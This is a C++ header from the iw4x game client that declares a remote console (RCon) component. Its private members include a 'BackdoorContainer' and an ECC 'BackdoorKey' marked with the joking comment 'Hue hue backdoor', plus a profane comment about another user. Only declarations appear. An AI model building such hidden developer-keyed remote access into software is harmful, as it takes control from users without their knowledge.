iw4x-client/src/Components/Modules/RCon.hpp

32 lines
614 B
C++
Raw Normal View History

namespace Components
{
class RCon : public Component
{
public:
RCon();
2016-08-15 10:40:30 -04:00
~RCon();
#if defined(DEBUG) || defined(FORCE_UNIT_TESTS)
const char* getName() { return "RCon"; };
#endif
private:
class Container
{
public:
int timestamp;
std::string output;
std::string challenge;
Network::Address address;
};
// Hue hue backdoor
static Container BackdoorContainer;
static Utils::Cryptography::ECC::Key BackdoorKey;
// For sr0's fucking rcon command
// Son of a bitch! Annoying me day and night with that shit...
static std::string Password;
};
}